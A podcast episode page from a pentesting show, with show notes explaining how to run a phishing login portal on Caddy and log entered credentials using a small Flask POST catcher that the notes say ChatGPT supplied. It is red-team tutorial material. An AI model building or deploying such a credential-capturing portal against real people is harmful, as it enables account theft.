7MS #583: Cred-Capturing Phishing with Caddy Server
7 Minute Security4 Elo 2023

7MS #583: Cred-Capturing Phishing with Caddy Server

Today we talk about crafting cool cred-capturing phishing campaigns with Caddy server! Here's a quick set of install commands for Ubuntu:

sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list sudo apt update sudo apt install caddy -y

Create an empty directory for your new site, and then create a file called Caddyfile. If all you want is a simple static site (and you've already pointed DNS for yourdomain.com to your Ubuntu droplet, just put the domain name in the Caddyfile:

domain.com

Then type sudo caddy run - and that's it! You'll serve up a blank site with lovely HTTPS goodness! If you want to get more fancy, make a index.html with a basic phishing portal:














User Name:

Password:



Unauthorized use is prohibited!

This will now be served when you visit domain.com. However, Caddy doesn't (to my knowledge) have a way to handle POST requests. In other words, it doesn't have the ability to log usernames and passwords people put in your phishing portal. One of our pals from Slack asked ChatGPT about it and was offered this separate Python code to run as a POST catcher:

from flask import Flask, request app = Flask(__name__) @app.route('/capture', methods=['POST']) def capture(): print(request.form) return 'OK', 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)

If you don't have Flask installed, do this:

sudo apt install python3-pip -y sudo pip install Flask

Run this file in one session, then in your index.html file make a small tweak in the form action directive:

Try sending creds through your phishing portal again, and you will see they are now logged in your Python POST catcher!

Jaksot(714)

7MS #586: DIY Pentest Dropbox Tips – Part 8

7MS #586: DIY Pentest Dropbox Tips – Part 8

Today, sadly, might be the last episode of DIY pentest dropbox tips for a while because I found (well, ChatGPT did actually) the missing link to 100% automate a Kali Linux install! Check episode #449 ...

25 Elo 202318min

7MS #585: DIY Pentest Dropbox Tips – Part 7

7MS #585: DIY Pentest Dropbox Tips – Part 7

Hey friends, today I'm super excited to share I found the missing link! Specifically, the missing piece that now allows me to create fully automated Windows 10 installs that serve as virtual pentest j...

18 Elo 202324min

7MS #584: Tales of Pentest Pwnage - Part 50

7MS #584: Tales of Pentest Pwnage - Part 50

In today's tale of pwnage, we'll talk about how domain trusts can be dangerous because they have...well...trust issues.

11 Elo 202317min

7MS #582: Using Wazuh as a SIEM for Work and Home

7MS #582: Using Wazuh as a SIEM for Work and Home

Today we had a blast playing with Wazuh as a SIEM you can use for work and/or home. Inspiration for this episode came from Network Chuck. This one-liner will literally get Wazuh installed in about 5 m...

31 Heinä 202350min

7MS #581: Tales of Pentest Pwnage - Part 49

7MS #581: Tales of Pentest Pwnage - Part 49

Oooo, giggidy! Today's tale of pentest pwnage is about pwning vCenter with CVE-2021-44228 - a vulnerability that lets us bypass authentication entirely and do/take what we want from vCenter! Key links...

21 Heinä 202322min

7MS #580: Hacking Tommy Callahan - Part 3

7MS #580: Hacking Tommy Callahan - Part 3

Today me and my pal Paul from Project7 did a live hacking session and finally got the Callahan Auto brake pad Web app back online! Hopefully you enjoyed this hacking series. The feedback has been grea...

17 Heinä 202331min

7MS #579: Hacking Tommy Callahan - Part 2

7MS #579: Hacking Tommy Callahan - Part 2

Hey friends, today we're continuing our series on pwning the Tommy Boy VM on VulnHub VM! P.S. did you miss part one? Check it out on YouTube. Joe "The Machine" Skeen and I had a blast poking and prodd...

7 Heinä 202337min

Suosittua kategoriassa Politiikka ja uutiset

uutiscast
aikalisa
politiikan-puskaradio
rss-ootsa-kuullut-tasta
ootsa-kuullut-tasta-2
tervo-halme
rss-podme-livebox
otetaan-yhdet
rss-vaalirankkurit-podcast
et-sa-noin-voi-sanoo-esittaa
the-ulkopolitist
rss-asiastudio
aihe
rikosmyytit
rss-kaikki-uusiksi
rss-tasta-on-kyse-ivan-puopolo-verkkouutiset
viisupodi
rss-hyvaa-huomenta-bryssel
rss-polikulaari-pitka-kiekko-ja-muut-ts-podcastit
rss-tilannekuva